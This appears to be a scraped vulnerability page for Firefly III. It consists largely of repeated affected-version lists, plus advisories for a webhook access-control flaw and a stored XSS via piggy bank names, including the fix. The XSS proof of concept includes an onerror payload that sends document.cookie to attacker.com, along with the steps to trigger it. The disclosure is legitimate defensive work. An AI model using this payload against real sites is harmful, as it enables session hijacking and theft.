            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Mar 03, 2026

v6.5.1 patch

2 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
  → Stored verbatim in piggy_banks.name
  → Transaction rule fires add_to_piggy / remove_from_piggy
  → UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
  → Any user views /transactions/show/{id}
  → ale.twig outputs unescaped payload → XSS fires

CSP Note

The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.

PoC

Authenticate as any user
POST /api/v1/piggy-banks with "name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"
Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
Trigger the rule on any transaction
Visit /transactions/show/{id} → payload fires

Confirmed server response (v6.6.2):

Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"

Impact

Stored XSS persists in DB — fires for every user who views the transaction
Cookie theft → session hijacking
In multi-user setups: one user attacks another user or admin
Chainable with CSRF-like operations

Fix

PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy|e
})|raw }}

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 400 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9


            v6.6.0


            v6.6.1


            v6.6.2

Fixed in


          6.6.3

References

Updated Sep 10, 2026 · Source: OSV.dev

Feb 27, 2026

v6.5.0 minor

3 CVEs

CVE-2026-50886 GHSA-9mmg-q95p-gp67 Jun 15, 2026

Project Firefly III has incorrect access control in the webhook management component

9.1 / 10

Critical

Network Low None None Unchanged High High None

Incorrect access control in the webhook management component of Project Firefly III v6.5.9 allows attackers to scan internal resources via a crafted POST request.

Affected versions


          3.0.0


          3.0.1


          3.0.2


          3.0.3

3.1


          3.1.1


          3.1.2


          3.1.3


          3.1.4


          3.1.5


          3.1.6


          3.10

+ 397 more


            3.10.1


            3.10.2


            3.10.3


            3.10.4


            3.2.0


            3.2.1


            3.2.2


            3.2.3


            3.2.4


            3.2.5

3.3


            3.3.1


            3.3.2


            3.3.3


            3.3.4


            3.3.5


            3.3.6


            3.3.7


            3.3.8


            3.3.9

3.4


            3.4.0.1


            3.4.0.10


            3.4.0.2


            3.4.0.3


            3.4.0.4


            3.4.0.5


            3.4.0.6


            3.4.0.7


            3.4.0.8


            3.4.0.9


            3.4.1


            3.4.10


            3.4.11


            3.4.2


            3.4.3


            3.4.4


            3.4.4.1


            3.4.4.2


            3.4.5


            3.4.6


            3.4.6.1


            3.4.7


            3.4.8


            3.4.9


            3.5.0


            3.5.1


            3.5.2


            3.5.3


            3.5.4


            3.5.5


            3.5.6


            3.5.6.1


            3.6.0


            3.6.1


            3.7.0


            3.7.1


            3.7.2


            3.7.2.1


            3.7.2.2


            3.7.2.3


            3.8.0


            3.8.1


            3.8.2


            3.8.3


            3.8.4


            3.9.0


            3.9.1


            4.0.0


            4.0.1


            4.0.2


            4.1.0


            4.1.1


            4.1.2


            4.1.3


            4.1.4


            4.1.5


            4.1.6


            4.1.7


            4.2.0


            4.2.1


            4.2.2


            4.3.0


            4.3.1


            4.3.2


            4.3.3


            4.3.4


            4.3.5


            4.3.6


            4.3.7


            4.3.8


            4.4.0


            4.4.1


            4.4.2


            4.4.3


            4.5.0


            4.6.0


            4.6.1


            4.6.10


            4.6.11


            4.6.11.1


            4.6.12


            4.6.13


            4.6.2


            4.6.3


            4.6.3.1


            4.6.4


            4.6.5


            4.6.6


            4.6.7


            4.6.8


            4.6.9


            4.7.0


            4.7.1


            4.7.1.1


            4.7.1.2


            4.7.1.3


            4.7.1.4


            4.7.10


            4.7.11


            4.7.12


            4.7.12.1


            4.7.13


            4.7.14


            4.7.15


            4.7.16


            4.7.17


            4.7.17.1


            4.7.17.2


            4.7.17.3


            4.7.17.4


            4.7.17.5


            4.7.17.6


            4.7.2


            4.7.2.1


            4.7.2.2


            4.7.3


            4.7.3.1


            4.7.3.2


            4.7.4


            4.7.5


            4.7.5.1


            4.7.5.2


            4.7.5.3


            4.7.6


            4.7.6.1


            4.7.6.2


            4.7.7


            4.7.8


            4.7.9


            4.8.0


            4.8.0.1


            4.8.0.2


            4.8.0.3


            4.8.1


            4.8.1.1


            4.8.1.2


            4.8.1.3


            4.8.1.4


            4.8.1.5


            4.8.1.6


            4.8.1.7


            4.8.1.8


            4.8.2


            4.8.2-alpha.1


            4.8.2-alpha.2


            4.8.2-alpha.3


            4.8.2-alpha.4


            4.8.2-alpha.5


            4.8.2-alpha.6


            4.8.2-beta.1


            4.8.2-beta.2


            4.8.3-alpha.1


            5.0.0


            5.0.0-alpha.1


            5.0.0-alpha.2


            5.0.0-beta.1


            5.0.1


            5.0.2


            5.0.3


            5.0.4


            5.0.5


            5.1.0


            5.1.0-alpha.1


            5.1.0-beta.1


            5.1.1


            5.2.0


            5.2.0-alpha.1


            5.2.0-beta.1


            5.2.1


            5.2.2


            5.2.3


            5.2.4


            5.2.5


            5.2.6


            5.2.7


            5.2.8


            5.3.0


            5.3.0-alpha.1


            5.3.0-beta.1


            5.3.0-beta.2


            5.3.1


            5.3.2


            5.3.3


            5.4.0


            5.4.0-alpha.1


            5.4.0-alpha.2


            5.4.0-alpha.3


            5.4.0-beta.1


            5.4.1


            5.4.2


            5.4.3


            5.4.4


            5.4.5


            5.4.6


            5.5.0


            5.5.0-beta.1


            5.5.0-beta.2


            5.5.0-beta.3


            5.5.1


            5.5.10


            5.5.11


            5.5.12


            5.5.13


            5.5.2


            5.5.3


            5.5.4


            5.5.5


            5.5.6


            5.5.7


            5.5.8


            5.5.9


            5.6.0


            5.6.0-alpha.1


            5.6.0-alpha.2


            5.6.1


            5.6.10


            5.6.11


            5.6.12


            5.6.13


            5.6.14


            5.6.15


            5.6.16


            5.6.2


            5.6.3


            5.6.4


            5.6.5


            5.6.6


            5.6.7


            5.6.8


            5.6.9


            5.7.0


            5.7.1


            5.7.10


            5.7.11


            5.7.12


            5.7.13


            5.7.14


            5.7.15


            5.7.16


            5.7.17


            5.7.18


            5.7.2


            5.7.3


            5.7.4


            5.7.5


            5.7.6


            5.7.7


            5.7.8


            5.7.9


            5.8.0-alpha.1


            6.0.0-alpha.1


            6.0.0-alpha.2


            6.0.0-beta.1


            6.0.9


            v6.0.0


            v6.0.0-beta.2


            v6.0.1


            v6.0.10


            v6.0.11


            v6.0.12


            v6.0.13


            v6.0.14


            v6.0.15


            v6.0.16


            v6.0.17


            v6.0.18


            v6.0.19


            v6.0.2


            v6.0.20


            v6.0.21


            v6.0.22


            v6.0.23


            v6.0.24


            v6.0.25


            v6.0.26


            v6.0.27


            v6.0.28


            v6.0.29


            v6.0.3


            v6.0.30


            v6.0.4


            v6.0.5


            v6.0.6


            v6.0.7


            v6.0.8


            v6.1.0


            v6.1.0-alpha.1


            v6.1.1


            v6.1.10


            v6.1.11


            v6.1.12


            v6.1.13


            v6.1.14


            v6.1.15


            v6.1.16


            v6.1.17


            v6.1.18


            v6.1.19


            v6.1.2


            v6.1.20


            v6.1.21


            v6.1.22


            v6.1.23


            v6.1.24


            v6.1.25


            v6.1.3


            v6.1.4


            v6.1.5


            v6.1.6


            v6.1.7


            v6.1.8


            v6.1.9


            v6.2.0


            v6.2.0-alpha.1


            v6.2.0-alpha.2


            v6.2.0-beta.1


            v6.2.1


            v6.2.10


            v6.2.11


            v6.2.12


            v6.2.13


            v6.2.14


            v6.2.15


            v6.2.16


            v6.2.17


            v6.2.18


            v6.2.19


            v6.2.2


            v6.2.20


            v6.2.21


            v6.2.3


            v6.2.4


            v6.2.5


            v6.2.6


            v6.2.7


            v6.2.8


            v6.2.9


            v6.3.0


            v6.3.0-beta.1


            v6.3.0-beta.2


            v6.3.1


            v6.3.2


            v6.4.0


            v6.4.1


            v6.4.10


            v6.4.11


            v6.4.12


            v6.4.13


            v6.4.14


            v6.4.15


            v6.4.16


            v6.4.17


            v6.4.18


            v6.4.19


            v6.4.2


            v6.4.20


            v6.4.21


            v6.4.22


            v6.4.23


            v6.4.3


            v6.4.4


            v6.4.5


            v6.4.6


            v6.4.7


            v6.4.8


            v6.4.9


            v6.5.0


            v6.5.1


            v6.5.2


            v6.5.3


            v6.5.4


            v6.5.5


            v6.5.6


            v6.5.7


            v6.5.8


            v6.5.9

References

Updated Aug 27, 2026 · Source: OSV.dev

GHSA-6jq6-x4cx-qvcm Jun 12, 2026

Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)

Medium

Network Low Low

Summary

The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.

Root Cause

The |raw filter is required on the outer trans() call to preserve  tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.

Vulnerable code (resources/views/list/ale.twig lines 107, 110):

{{ trans('firefly.ale_action_log_add', {
    amount: formatAmountBySymbol(...),
    name: logEntry.after.piggy
})|raw }}

No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.

Data Flow

